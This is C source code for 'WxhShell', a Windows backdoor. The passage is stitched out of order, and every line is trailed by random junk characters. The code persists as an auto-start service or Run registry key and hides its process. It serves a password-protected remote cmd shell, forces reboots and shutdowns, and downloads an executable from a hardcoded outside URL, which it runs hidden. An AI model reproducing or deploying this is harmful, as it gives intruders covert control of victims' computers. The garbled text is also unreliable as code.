  case 'd': { d[U1.SNL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5<r)+?!n  
    if(Boot(SHUTDOWN)) q)Je.6$#X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WOH9%xv  
    else { {U P_i2`.  
    closesocket(wsh); oYq E*mA  
    ExitThread(0); \G=bj;&eF  
    } \DyKtrnm%  
    break; gDhl-  
    } /'+4vXc@  
  // 获取shell 0=,'{Vz}A  
  case 's': { &enlAV'#)O  
    CmdShell(wsh); 4(iS-8{J  
    closesocket(wsh); 7z>+w  
    ExitThread(0); L{K*~B-p  
    break; 4JK@<GBK6  
  } 2))t*9;h  
  // 退出 KW:r;BFx  
  case 'x': { y<uE-4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x9\J1\  
    CloseIt(wsh); J=L`]XE  
    break; GG>Y/;^  
    } A[RN-R,  
  // 离开 eH `t \n  
  case 'q': { %o-jwr}O{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T`mEO\f  
    closesocket(wsh); 7 FIFSt  
    WSACleanup(); ,^!Zm^4,  
    exit(1); />!!ch  
    break; 9rWLE6 `  
        } *lY+Yy(  
  } cqHw^{'8  
  } vK`S!7x'&  
I tgH>L'  
  // 提示信息 Qf~| S9,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;y ,NC2Xj  
} Qasr:p+  
  } ujNt(7Cz  
vF+YgQ1H  
  return; t*rp3BIG  
} EUXV/QV{  
iGyVG41U  
// shell模块句柄 4Q/r[x/&C  
int CmdShell(SOCKET sock) A<;0L . J  
{ I &cX8Tw  
STARTUPINFO si; V!}L<cN  
ZeroMemory(&si,sizeof(si)); yx 7loy$[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;HT0w_,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F94V5_[  
PROCESS_INFORMATION ProcessInfo; L<"k 7)k  
char cmdline[]="cmd"; Cea"qNq=k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |H<|{{E  
  return 0; *\C}Ok=  
} }RH lYN  
<f[9ju  
// 自身启动模式 +%x^RV}  
int StartFromService(void) 4KZSL: A  
{ >5df@_'  
typedef struct _=)!xnYf  
{ ;,FT&|3o  
  DWORD ExitStatus; O<Jwaap  
  DWORD PebBaseAddress; i$g|?g~]  
  DWORD AffinityMask; Mf#2.TR  
  DWORD BasePriority; a'm!M:w  
  ULONG UniqueProcessId; Age-AJ  
  ULONG InheritedFromUniqueProcessId; - =yTAx  
}   PROCESS_BASIC_INFORMATION; wiKCr/  
.M}06,-  
PROCNTQSIP NtQueryInformationProcess; ]zX\8eHp!  
M'b:B*>6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^v#+PyW  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2}ag_  
Lq3(Z%  
  HANDLE             hProcess; THb A(SM  
  PROCESS_BASIC_INFORMATION pbi; a_xQ~:H  
d!w1t=2H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?UU5hek+m  
  if(NULL == hInst ) return 0; {kT#o3,>w6  
pFS F[9?e>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $/MY,:*e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T27:"LVw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K@y-)I2]  
J,MT^B  
  if (!NtQueryInformationProcess) return 0; gjO *h3`  
(tgEa{rPAP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WvIK=fdZ$  
  if(!hProcess) return 0; x0y% \  
cvn-*Sj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =H L9Z  
iM4mkCdOO  
  CloseHandle(hProcess); 7^`RP e^a+  
YAX #O\,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y#GT*V  
if(hProcess==NULL) return 0; [>Ikitow  
axHxqhO7zp  
HMODULE hMod; "[FCQ  
char procName[255]; 5ENov!$H  
unsigned long cbNeeded; 4+BrTGp  
C+}CU}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zUvB0\{q  
i%#th'C!P  
  CloseHandle(hProcess); 5R$=^gE  
:Fw *r|  
if(strstr(procName,"services")) return 1; // 以服务启动 ,P;8 }yQ  
%?U"[F1  
  return 0; // 注册表启动 =]8f"wAh*  
} fp`U?S6  
n5/ZJur  
// 主模块  gvvFU,2  
int StartWxhshell(LPSTR lpCmdLine) @WMj^t1D+  
{ rGQ86L<  
  SOCKET wsl; 3 (Gygq#  
BOOL val=TRUE; `[w}hFl~q  
  int port=0; 2l]C55p)s  
  struct sockaddr_in door; :-W$PIBe  
clij|?O  
  if(wscfg.ws_autoins) Install(); 8 ))I$+  
Ir'DA_..  
port=atoi(lpCmdLine); *Cc$eR]-  
O e0KAn  
if(port<=0) port=wscfg.ws_port; OJh+[bf"  
w@<<zItSo  
  WSADATA data; {"qW~S90YO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V3aY]#Su  
B3ohHxHu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (!^N~ =e;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (gs`=H*d;  
  door.sin_family = AF_INET; \JF57t}Zk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nS?S6G5h  
  door.sin_port = htons(port); m-Mhf;  
PX+"" #  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s?1-$|*  
closesocket(wsl); iPRJA{$b_  
return 1; ]9!Gg  
} <m|FccvQ  
XRX7qo(0g  
  if(listen(wsl,2) == INVALID_SOCKET) { /v<e$0~s<  
closesocket(wsl); h8Dtq5t4  
return 1; ?h>(&H jWV  
} Gl3 `e&7  
  Wxhshell(wsl); ee__3>H"/  
  WSACleanup(); rd f85%%7  
?j},O=JFn  
return 0; {EiG23!qV  
}W Bm%f  
} T%z!+/=&^  
L%=BCmMx  
// 以NT服务方式启动 ?dATMmT-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NK*:w *SOI  
{ VLl&>Pbe-  
DWORD   status = 0; [U+<uZzOC  
  DWORD   specificError = 0xfffffff; 2/a04qA#  
7~Xu71^3s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C5W-B8>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OV0cr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dNS9<8JX  
  serviceStatus.dwWin32ExitCode     = 0; R[2[[M  
  serviceStatus.dwServiceSpecificExitCode = 0; 'Gm!Jblo@  
  serviceStatus.dwCheckPoint       = 0; {d{WMq$  
  serviceStatus.dwWaitHint       = 0; kC,DW%Ls  
1{Sx V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d@`-!"  
  if (hServiceStatusHandle==0) return; qrORP3D@  
=qVAvo'  
status = GetLastError(); t 's5~  
  if (status!=NO_ERROR) /eI,]CB'z  
{ ]J0Y^dM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MXu+I,y*  
    serviceStatus.dwCheckPoint       = 0; !E(J ]a  
    serviceStatus.dwWaitHint       = 0; ] "7El;2z  
    serviceStatus.dwWin32ExitCode     = status; v@<lEG#$"|  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y }g6IK}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' ]H#0.  
    return; :7'0:'0$t  
  } j+ T\c2d  
bx'B;rZr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cmC&s'/8`D  
  serviceStatus.dwCheckPoint       = 0; TO;]9`~;Mu  
  serviceStatus.dwWaitHint       = 0; 3mnLV*aRt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J>&dWKM3  
} ~>wq;T:=  
+O%a:d%  
// 处理NT服务事件,比如:启动、停止 Qr xO erp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yp7,^l  
{ .x9nWa  
switch(fdwControl) |7 W6I$Xl  
{ >O[^\H!\  
case SERVICE_CONTROL_STOP: >goAf`sqo  
  serviceStatus.dwWin32ExitCode = 0; #|2g{7 g*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qoyGs}/I8  
  serviceStatus.dwCheckPoint   = 0; g^|_X1{  
  serviceStatus.dwWaitHint     = 0; O,z%7><  
  { 1tK6lrhj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d#$i/&gE  
  } FCw VVF0 y  
  return; c_j )8  
case SERVICE_CONTROL_PAUSE: WLA_YMlA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RdpQJ)3F  
  break; 19.!$;  
case SERVICE_CONTROL_CONTINUE: ^9m^#"ZW`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [pyXX>:M  
  break; j4hUPL7  
case SERVICE_CONTROL_INTERROGATE:  Q-3J0=  
  break; }F9?*2\/  
}; f+(w(~O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :8/M6-EK  
} OW5|oG  
\c`r9H^v{  
// 标准应用程序主函数 Z6HkQ=A64  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) . KSr@Gz  
{ (\[!,T"[  
EEnTq  
// 获取操作系统版本 (]# JpQ  
OsIsNt=GetOsVer(); "q#kh,-C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9\;/-0P  
Y3F.hk}O  
  // 从命令行安装 z4OR UQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); - G2M;]Cn  
MLDg).5  
  // 下载执行文件 nCmrt*&}  
if(wscfg.ws_downexe) { {b8Y-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QRc=-Wu_(  
  WinExec(wscfg.ws_filenam,SW_HIDE); b J5z??  
} FWx*&y~$  
bTYP{x~ y  
if(!OsIsNt) { 0 GLB3I >  
// 如果时win9x,隐藏进程并且设置为注册表启动 b`%e{99\  
HideProc(); Xf/<.5A  
StartWxhshell(lpCmdLine); 7|?@\ZE  
} [,V92-s;N  
else 6P[O8  
  if(StartFromService()) Q\th8/ /  
  // 以服务方式启动 'm.XmVZL%  
  StartServiceCtrlDispatcher(DispatchTable); t7`Pw33#kY  
else _ O71r}4  
  // 普通方式启动 2ZFK jj  
  StartWxhshell(lpCmdLine); T<~[vjA  
G6g=F+X2  
return 0; "I 1M$^8n  
} d}G."wnG9,  
s)ajy^6'M  
RwLdV+2\R`  
^oZs&+z  
=========================================== L,ey3i7a\  
?;kc%Rz  
=kkA  
0BZOr-i  
~5?n&pF  
D&lXi~Z%.  
" ]3cf}Au  
+as\>"Cj+2  
#include <stdio.h> D,R2wNF  
#include <string.h> Hu!>RSg,,2  
#include <windows.h> 7)X&fV6<8  
#include <winsock2.h> ~2qG" 1[\  
#include <winsvc.h> /hy!8c7  
#include <urlmon.h> dD2e"OIX  
w9h5f  
#pragma comment (lib, "Ws2_32.lib") w)c#ZJHG  
#pragma comment (lib, "urlmon.lib") K>~cY%3^i  
,#FH8%Yf  
#define MAX_USER   100 // 最大客户端连接数 G U/k^ Qy  
#define BUF_SOCK   200 // sock buffer NjMLq|X  
#define KEY_BUFF   255 // 输入 buffer H[yLl v  
Sgk{NM7|k  
#define REBOOT     0   // 重启 KTREOOu .t  
#define SHUTDOWN   1   // 关机 S~9kp?kR$  
w3hL.Z,kV  
#define DEF_PORT   5000 // 监听端口 |?Uc:VFF  
B_G7F[/K  
#define REG_LEN     16   // 注册表键长度 ZuV  
#define SVC_LEN     80   // NT服务名长度 \) ONy9  
!f2>6}hE  
// 从dll定义API ]$*_2V3VA$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D#AxgF_He  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +:8YMM#9V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3W WxpTU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1j-i nj`  
?(hQZR 0e  
// wxhshell配置信息 f }e7g d]M  
struct WSCFG { *wx^mB9  
  int ws_port;         // 监听端口 #FM 'S|  
  char ws_passstr[REG_LEN]; // 口令 E8 )*HOT_T  
  int ws_autoins;       // 安装标记, 1=yes 0=no 30-w TcG  
  char ws_regname[REG_LEN]; // 注册表键名 fxa^SV   
  char ws_svcname[REG_LEN]; // 服务名 -$p-o Z)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a{6|[a R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AFA*_9Ut  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +Uk.|@b=-V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U7'oI;C$e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wB GxJ\+M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d'J?QH!N0  
N%i<DsK.u6  
}; 9~ af\G  
%'< qhGJ  
// default Wxhshell configuration PQay sdb  
struct WSCFG wscfg={DEF_PORT, +u.L6GcB  
    "xuhuanlingzhe", f%l#g]]  
    1, ? +!?$h  
    "Wxhshell", T}On:*&  
    "Wxhshell", tq93 2M4  
            "WxhShell Service", M_uij$1-  
    "Wrsky Windows CmdShell Service", #&gy@!a~  
    "Please Input Your Password: ", c9k,Dc  
  1, B75SLK:h=  
  "http://www.wrsky.com/wxhshell.exe", c9={~  
  "Wxhshell.exe" 5jk4k c  
    }; .U {JI\  
S-dV  
// 消息定义模块 rrq-so1u}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'D{abm0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; k}gs;|_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E':Z_ ^4  
char *msg_ws_ext="\n\rExit."; XcneH jpR  
char *msg_ws_end="\n\rQuit."; $*ZHk0 7x  
char *msg_ws_boot="\n\rReboot..."; Re>e|$.T  
char *msg_ws_poff="\n\rShutdown..."; }_TdXY #w\  
char *msg_ws_down="\n\rSave to "; u' ][3  
.;s4T?j@w  
char *msg_ws_err="\n\rErr!"; ak&v/%N  
char *msg_ws_ok="\n\rOK!"; ShxX[k  
5eJd$}Lbc  
char ExeFile[MAX_PATH]; 6Z=H>w  
int nUser = 0; lvffQ_t  
HANDLE handles[MAX_USER]; =Q/i< u  
int OsIsNt; exvsf|  
zt6ep=  
SERVICE_STATUS       serviceStatus; K.Ir+SB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 548BM^^"r  
W1(zi P'6  
// 函数声明 @e/dQ:Fb  
int Install(void); "yk%/:G+  
int Uninstall(void); 2 {0VyLx  
int DownloadFile(char *sURL, SOCKET wsh); ,|/$|$'  
int Boot(int flag); QI<3N  
void HideProc(void); WDR!e2G  
int GetOsVer(void); nrS_t y  
int Wxhshell(SOCKET wsl); a#=-Aj-  
void TalkWithClient(void *cs); XjNu|H/  
int CmdShell(SOCKET sock); $x*GvI1D  
int StartFromService(void); r Y.:}D  
int StartWxhshell(LPSTR lpCmdLine); c i>=45@J  
zq&lxySa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }% *g\%L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i&KODhMpP  
@YELqUb*  
// 数据结构和表定义 p IToy;]  
SERVICE_TABLE_ENTRY DispatchTable[] = ?HTwTi 5!)  
{ /|f]L9)2<  
{wscfg.ws_svcname, NTServiceMain}, e^TF.D?RS  
{NULL, NULL} +V^_ksi\  
}; f ;JSP  
RCr:2 Iz  
// 自我安装 i :72FVo  
int Install(void) wr(?L7 $+  
{ |Rc#Q<Vh|  
  char svExeFile[MAX_PATH]; 0XNb@ogo  
  HKEY key; &2J|v#$F  
  strcpy(svExeFile,ExeFile); :W"ITY(  
<}%*4mv  
// 如果是win9x系统,修改注册表设为自启动 DFMWgBL  
if(!OsIsNt) { ua-p^X`w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AH+J:8k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Og =H79<  
  RegCloseKey(key); I6_+3}Hm{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oxZ(qfjS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kLP^q+$u)!  
  RegCloseKey(key); sBMHf9u  
  return 0; ej `$-hBBV  
    } Yaqim<j  
  } fz*6 B NJ  
} kCV OeXv  
else { !RI&FcK  
5l#)tX.by  
// 如果是NT以上系统,安装为系统服务 ewY X\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |rQ;|+.  
if (schSCManager!=0) "fdG5|NJe  
{ {H74`-C)W  
  SC_HANDLE schService = CreateService J4 <*KL~a  
  ( Nnw iH  
  schSCManager, ;N|6C+y  
  wscfg.ws_svcname, \=JKeL|6[S  
  wscfg.ws_svcdisp, ' BpRiN  
  SERVICE_ALL_ACCESS, ge|}'QKow  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4kiu*T  
  SERVICE_AUTO_START, eJ'ojc3  
  SERVICE_ERROR_NORMAL, t@\0$V \X  
  svExeFile, p5\b&~ g  
  NULL, tx.sUu6  
  NULL, apXq$wWq{D  
  NULL, JT+P>\\];'  
  NULL, {<lV=0]  
  NULL N*#SY$!y  
  ); G(>a LF  
  if (schService!=0) ?QgWW  
  { eM}Xn^}  
  CloseServiceHandle(schService); _F9 c.BH  
  CloseServiceHandle(schSCManager); 7@\iBmr6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,aeFEsi  
  strcat(svExeFile,wscfg.ws_svcname); q!n|Ju<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4{V=X3,x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <Ip}uy[Y  
  RegCloseKey(key); j,Y=GjfGM  
  return 0; W$W7U|Z9y+  
    } tF 4"28"h  
  } )u$A!+fo  
  CloseServiceHandle(schSCManager); N.]8qzW  
} =B\ ?(  
} ZHT.+X:_  
xAI<<[-  
return 1; <}evOw2  
} ][Kj^7/  
kF ?\p`[a  
// 自我卸载 UU_k"D~  
int Uninstall(void) :Vg,[\I{  
{ +J2=\YO  
  HKEY key; I?=Q *og  
|b@-1  
if(!OsIsNt) { KM6r}CDHs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "(5M }5D  
  RegDeleteValue(key,wscfg.ws_regname); w*?JW  
  RegCloseKey(key); KQk;:1hW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ _zdjzT  
  RegDeleteValue(key,wscfg.ws_regname); wS4zAu  
  RegCloseKey(key); F=cO=5Iz  
  return 0; I<$lpU_H  
  } B}vI<?c  
} q8U]Hyp(`  
} 5%9& 7  
else { KF.?b]  
~o+u:]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j=7]"%  
if (schSCManager!=0) `'~|DG}a  
{ /)|*Vzu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OHB!ec6W  
  if (schService!=0) &{$\]sv  
  { {_ocW@@  
  if(DeleteService(schService)!=0) { J4<- C\=4  
  CloseServiceHandle(schService);  H='`#l1  
  CloseServiceHandle(schSCManager); B;EdLs}  
  return 0; TR#5V@e.m  
  } K jLj  
  CloseServiceHandle(schService); +m"iJW0  
  } QDU^yVa_  
  CloseServiceHandle(schSCManager); 7%X$6N-X  
} -" DI,o  
} #JVcl $0Y  
j0Q ;OKu  
return 1; 9 eP @}C6  
} +s`n]1HC  
JI.ad_IR  
// 从指定url下载文件 rVkHo*Q  
int DownloadFile(char *sURL, SOCKET wsh) kWWb<WRW:  
{ hI"I#(*jA%  
  HRESULT hr; s3q65%D  
char seps[]= "/"; _r&#Snp  
char *token; IE3GM^7\  
char *file; ^CX~>j\(  
char myURL[MAX_PATH]; &AW?!rH  
char myFILE[MAX_PATH]; `jP6;i  
JMoWA0f  
strcpy(myURL,sURL); Qq5)|m  
  token=strtok(myURL,seps); ]R0^ }sI  
  while(token!=NULL) f F?=W  
  { 7-)Y\D  
    file=token; )=~1m85+5B  
  token=strtok(NULL,seps); mWtwp-  
  } <.Pr+g  
T1Xm^{  
GetCurrentDirectory(MAX_PATH,myFILE); mgS%YG  
strcat(myFILE, "\\"); @n<WM@|l  
strcat(myFILE, file); B;^7Yu0,  
  send(wsh,myFILE,strlen(myFILE),0); oSxHTbp?  
send(wsh,"...",3,0); .a$][Jny  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jyvc(~x  
  if(hr==S_OK) y>|7'M*+  
return 0; &}rh+z  
else r3#H]c  
return 1; VaH#~!  
Fe: 0nr9;  
} MSw/_{  
0LxA+  
// 系统电源模块 ;gf^;%FK  
int Boot(int flag) w+P bT6;  
{ 1'M< {h<sP  
  HANDLE hToken; --y .q~d  
  TOKEN_PRIVILEGES tkp; \07 s'W U  
8eL[ ,uw  
  if(OsIsNt) { V"gnG](2l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &AC-?R|Dp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;[&g`%-H<  
    tkp.PrivilegeCount = 1; a Z ^SK|E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WnA]gyc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^oM*f{9  
if(flag==REBOOT) { +b 1lCa_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aM~M@wS  
  return 0; <vOljo  
} wOINcEdx  
else { haS`V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  s(F^P  
  return 0; a(!:a+9WOP  
} A:>G:X5t  
  } jPhOk>m  
  else { 9J*m!-hOY  
if(flag==REBOOT) { P$\( Bd\76  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W%) foJ  
  return 0; R|Y)ow51  
} Bx2E9/S3  
else { Q']:k}y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \3Ys8umKq  
  return 0; Bm1yBKjO  
} 3Cq17A 9  
} )N<>L/R  
$}N'm  
return 1; XswEAz0=  
} (q*Za  
,:j^EDCsaJ  
// win9x进程隐藏模块 oljl&tuQy  
void HideProc(void) + ,0RrD )  
{ G ? H`9*y  
OP{ d(~+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -&y{8<bu4H  
  if ( hKernel != NULL )  ]Ocf %(  
  { a'rN&*P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -7>vh|3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R2-OT5Ej  
    FreeLibrary(hKernel); 5,k&^CK}  
  } dyD =R  
I"y=A7Nq  
return; OiZPL"Q(K  
} -(@dMY  
hBO I:4u[  
// 获取操作系统版本 &K|<7Efx  
int GetOsVer(void) oe# :EfT  
{ 8 }nA8J  
  OSVERSIONINFO winfo; }r9f}yX9Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8tY],  
  GetVersionEx(&winfo); rer=o S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 77.5 _  
  return 1; FX4](oM  
  else RV.*_FG  
  return 0; A{Jv`K  
} qJKD| =_  
hT#[[md"  
// 客户端句柄模块 'cu( Sd}  
int Wxhshell(SOCKET wsl) P BpjE}[Q  
{ `[2nxP>w`  
  SOCKET wsh; H'P1EZtq  
  struct sockaddr_in client; z<hy#BIjnd  
  DWORD myID; [}N?'foLb  
]+{Cy\*kR  
  while(nUser<MAX_USER) bo4 :|Z  
{ ke!)C[^7z  
  int nSize=sizeof(client); ,g;~:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <U (gjX  
  if(wsh==INVALID_SOCKET) return 1; 0bVtku K;G  
Y, )'0O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }[SWt3qV1  
if(handles[nUser]==0) %F` c Nw]  
  closesocket(wsh); k^:$ETW2 D  
else j]6 Z*AxQ  
  nUser++; &Ru|L.G`  
  } g~S>_~WL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eo24I0 `N  
k*\WzBTd  
  return 0; 9N:Bu'j&/  
} u I}S9  
m>yk4@a  
// 关闭 socket y4tM0h  
void CloseIt(SOCKET wsh) G!C2[:[g  
{ :MV]OLRM  
closesocket(wsh); W7c(] tg.  
nUser--; hCD0Zel  
ExitThread(0); hHm &u^xY  
} {Nuwz|Ci  
h7)^$Hd  
// 客户端请求句柄 .DMeW i  
void TalkWithClient(void *cs) R#"kh/M  
{ zQMsS  
)!SVV~y  
  SOCKET wsh=(SOCKET)cs; C7dy{:y`  
  char pwd[SVC_LEN]; ]8NNxaE3(  
  char cmd[KEY_BUFF]; ! k)}p_e  
char chr[1]; ;XMbjWc  
int i,j; Zrr3='^s  
mqrP0/sN  
  while (nUser < MAX_USER) { Q.*qU,4);  
MRwls@z=  
if(wscfg.ws_passstr) { ; =ai]AYW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `(vgBz`e[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x }[/A;N  
  //ZeroMemory(pwd,KEY_BUFF); <UQaRI[55  
      i=0; / V+&#N  
  while(i<SVC_LEN) { tO~DA>R  
M}k )Ep9  
  // 设置超时 mL?9AxO  
  fd_set FdRead; 7hZCh,O  
  struct timeval TimeOut; 2Vxr  
  FD_ZERO(&FdRead); @NWjYHM[`  
  FD_SET(wsh,&FdRead); 2`Ub;Nn29  
  TimeOut.tv_sec=8; S$HzuK\f  
  TimeOut.tv_usec=0; [ dpd-s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s#/JMvQ#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >9'G>~P~I=  
,A[40SZA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (C={/waJ  
  pwd=chr[0]; .]6_  
  if(chr[0]==0xd || chr[0]==0xa) { TR L4r_  
  pwd=0; `C%,Nj  
  break; : ~"^st_[!  
  } =QHW>v  
  i++; <W2}^q7F^  
    } *91iFeKj=  
>"q0"zrN,  
  // 如果是非法用户,关闭 socket &?IOrHSv!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .+t{o [  
} ^W5rL@h_  
bo '  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a,b ;H(em  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VO] Jvf  
Q^$IlzG7i  
while(1) { y44FejH(v  
"IA[;+_"  
  ZeroMemory(cmd,KEY_BUFF); T8h.!Vef  
C '4u+raq  
      // 自动支持客户端 telnet标准   B$1nq#@  
  j=0; 1k6f|Al -  
  while(j<KEY_BUFF) { Wp/!;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H0Qpc<Z4/  
  cmd[j]=chr[0]; pg1o@^OuL  
  if(chr[0]==0xa || chr[0]==0xd) { MNzq,/Wf  
  cmd[j]=0; Vy.A`Hz  
  break; }jBr[S5  
  } ol^V@3[<  
  j++; .'mmn5E  
    } $)\%i=  
X+)68  
  // 下载文件 jhjGDF  
  if(strstr(cmd,"http://")) { I~\j%zD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bAms-cXm  
  if(DownloadFile(cmd,wsh)) 58,_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g6o-/A!Q3  
  else !/znovoD  
